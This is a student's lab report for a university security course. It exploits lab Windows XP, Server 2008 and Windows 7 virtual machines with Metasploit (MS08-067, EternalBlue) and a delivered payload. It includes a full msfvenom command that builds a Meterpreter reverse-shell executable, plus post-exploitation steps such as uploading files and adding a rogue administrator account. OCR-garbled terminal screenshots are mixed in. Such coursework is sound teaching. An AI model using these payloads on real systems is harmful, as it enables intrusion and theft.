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Task A.

Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each)

In this task, you need to complete the following steps to exploit SMB vulnerability on Windows XP.
1. Run a port scan against the Windows XP using nmap command to identify open ports and services.

2. Identify the SMB port number (default: 445) and confirm that it is open.
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Explanation: Here we see Zenmap after a successful scan, showing that port 445 is open. Windows XP is
192.168.10.14, and while we can’t see it here, our Kali system’s IP is 192.168.10.13. I will be referring to
each by their IP address for the rest of this section of the lab report.

3. Launch Metasploit Framework and search for the exploit module: ms08 067 netapi

4. Use ms08 067 netapi as the exploit module and set meterpreter reverse tcp as the payload.

5. Use DDMMYY as the listening port number. (It is based on your current timestamp. For example,
today's date is March 9th, 2023. Then, you should configure the listening port as 9323.) Configure

the rest of the parameters. Display your configurations and exploit the target.
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Explanation: This is the options for the payload after setting them appropriately and a failed attempt
because I didn’t originally set the listening host. The listening port is 4623 because | am writing this on
4/6/2023.

6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine

if the exploit is successful.
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Explanation: Here is a very distorted screenshot of 192.168.10.14’s desktop.

7. [Post-exploitation] In meterpreter shell, display the target system’s local date and time.
8. [Post-exploitation] In meterpreter shell, get the SID of the user.

9. [Post-exploitation] In meterpreter shell, get the current process identifier.

10. [Post-exploitation] In meterpreter shell, get system information about the target.
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Explanation: This is a screenshot of meterpreter shell after successfully exploiting the system and
accessing command prompt from 192.168.10.13 on 192.168.10.14. I then use the “date” command to
show the time, then forget I was still in command prompt. I then exit command prompt and use the
“getuid” command in Meterpreter shell to show the UID of the system, “getpid” to get the PID, and
“sysinfo” to get the system information.

Task B.

Exploit EternalBlue on Windows Server 2008 with Metasploit (20 pt)

In this task, you need to use similar steps to exploit the EternalBlue vulnerability on Windows Server
2008. Make sure to search and replace the exploit module against Windows Server 2008 accordingly.
1. Configure your Metasploit accordingly and set DDMMY'Y as the listening port number. Display the

configuration and exploit the target. (10 pt)
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Explanation: This is metasploit after configuring the exploit as I did before, except this time we are using
windows/smb/ms17 010 eternalblue. The listening port is 4623, as it was before, and RHOST is
192.168.10.11, which is Windows Server 2008. For all future references, as with before, we will be
referring to it as 192.168.10.11 to mean “the windows server machine.”

2. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine

if the exploit is successful. (2 pt)
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Explanation: This is after a successful exploit of 192.168.10.11

3. [Post-exploitation] In meterpreter shell, display the target system’s local date and time. (2 pt)
4. [Post-exploitation] In meterpreter shell, get the SID of the user. (2 pt)

5. [Post-exploitation] In meterpreter shell, get the current process identifier. (2 pt)

6. [Post-exploitation] In meterpreter shell, get system information about the target. (2 pt)

Explanation:
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Task C.

Exploit Windows 7 with a deliverable payload.

In this task, you need to create an executable payload with the required configurations below. Once
your payload is ready, you should upload it to the web server running on Kali Linux and download the
payload from Windows 7, then execute it on the target to make a reverse shell (20 pt). Of course, don't
forget to configure your Metasploit on Kali Linux before the payload is triggered on the target VM.
The requirements for your payload are (10 pt, Spt each):

* Payload Name: Use your MIDAS ID (for example, pjiang.exe)

* Listening port: DDMMYY (It is based on your current timestamp. For example, today's date is
March 9th, 2023. Then, you should configure the listening port as 9323.)

[Post-exploitation] Once you have established the reverse shell connection to the target Windows 7,

complete the following tasks in your meterpreter shell:
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Explanation: The way that I made my payload was using the command msfvenom -p
windows/meterpreter/reverse_TCP LHOST=192.168.10.13 LPORT=4623 -f exe -o dprit002.exe



Applications = Places ~ [] Terminal = Fri01:02

Terminal
Edit View Search Terminal Help | Filte Edit View Search Terminal Help
il Database al ad) tarted
[i] The database appears to be already configured, skippin
initialization
AR
## #+#
Fi+
R T
+i4

msfvenom -p
68.10.13 LPORT

-0 dprit
choosing Msf::Module::Platfor
86 from the payload

outputting raw payload
post

handler
) > A 2 -m http.ser
hen3 -m htip.
(ht
set LPORT 4
run

TCP handler on 19

Explanation: This after setting up a listener in metasploit framework, listening to port 4623. The
command used to create a web server on port 80.

DPRITO02 s annection
=
: Media  Clipboard
File  Adion  Med ®
90

Applications

Scan Tool
Target: |1
Commandy
192.16810.13
Hasts

0% of dpeit0 sve from 1923881013 Compleed

File Downlosd - Security Waming

it Pagaw Safetyw Took= @~

Do you wart to un or save this file?
- Hame! dorDOZ. exe
] :
Trpe:  Apphcstion, 72.0k8

From: 192188113

Fun

While fles from the intemet can be wseful. the file type can.

@ Irtevres | Pritected Mode: On

B Windws Ton

Explanation: View from Windows 7 as I download dprit002.exe onto it.
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Explanation: After launching the payload on Windows 7, we now have access to the system.
1. Execute the screenshot command to take a screenshot of the target machine if the exploit is

successful. (10 pt)
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Explanation: This is a screenshot of the target with the web server still open.

2. Create a text file on the attacker Kali named "IMadelT-YourMIDAS.txt" (replace YourMIDAS with
your university MIDAS ID) and put the current timestamp in the file. Upload this file to the target's
desktop. Then log in to Windows 7 VM and check if the file exists. You need to show me the

command that uploads the file. (20 pt)



Hol
Applications « Places ~ [ Terminal =

Terminal

File Edit View Search Terminal Help

set LPORT 4623

18.9
18.13:4623 -= 2.168.18.9:1189) at 2823-064-87 81:83:56 -08480

sers\\Public\\Desk
deIT-dprit
hed doubl \"IM € i 2 , Wil i ubli

it
uploading : IMadelIT-dprit@?2
Uploaded 14.80 B of 14.60 B (100.

neterprete
uploadin IMadeIT-dpr
Operation

top\IMadeIT-dprite txt

denied. The following was attempted:

Pipe Impe
Impe

Explanation: This is after uploading the text file and after attempting the next step prematurely. As
shown, the file “ImadelT-dprit002.txt” has been uploaded using the command “upload <file-name> “C:\
Users\Window 7\Desktop”.

[Privilege escalation, extra credit] Background your current session, then gain administrator-level
privileges on the remote system (10 pt). After you escalate the privilege, complete the following tasks:
3. Create a malicious account with your name and add this account to the administrator group. You
need to complete this step on the Attacker Side. (5 pt)

4. Remote access to the malicious account created in the previous step and browse the files

belonging to the user, "Windows 7", in RDP. (5 pt)

Task D.

Extra Credit (10 points)

* Find another exploit that targets on either Windows XP or Windows Server 2008.
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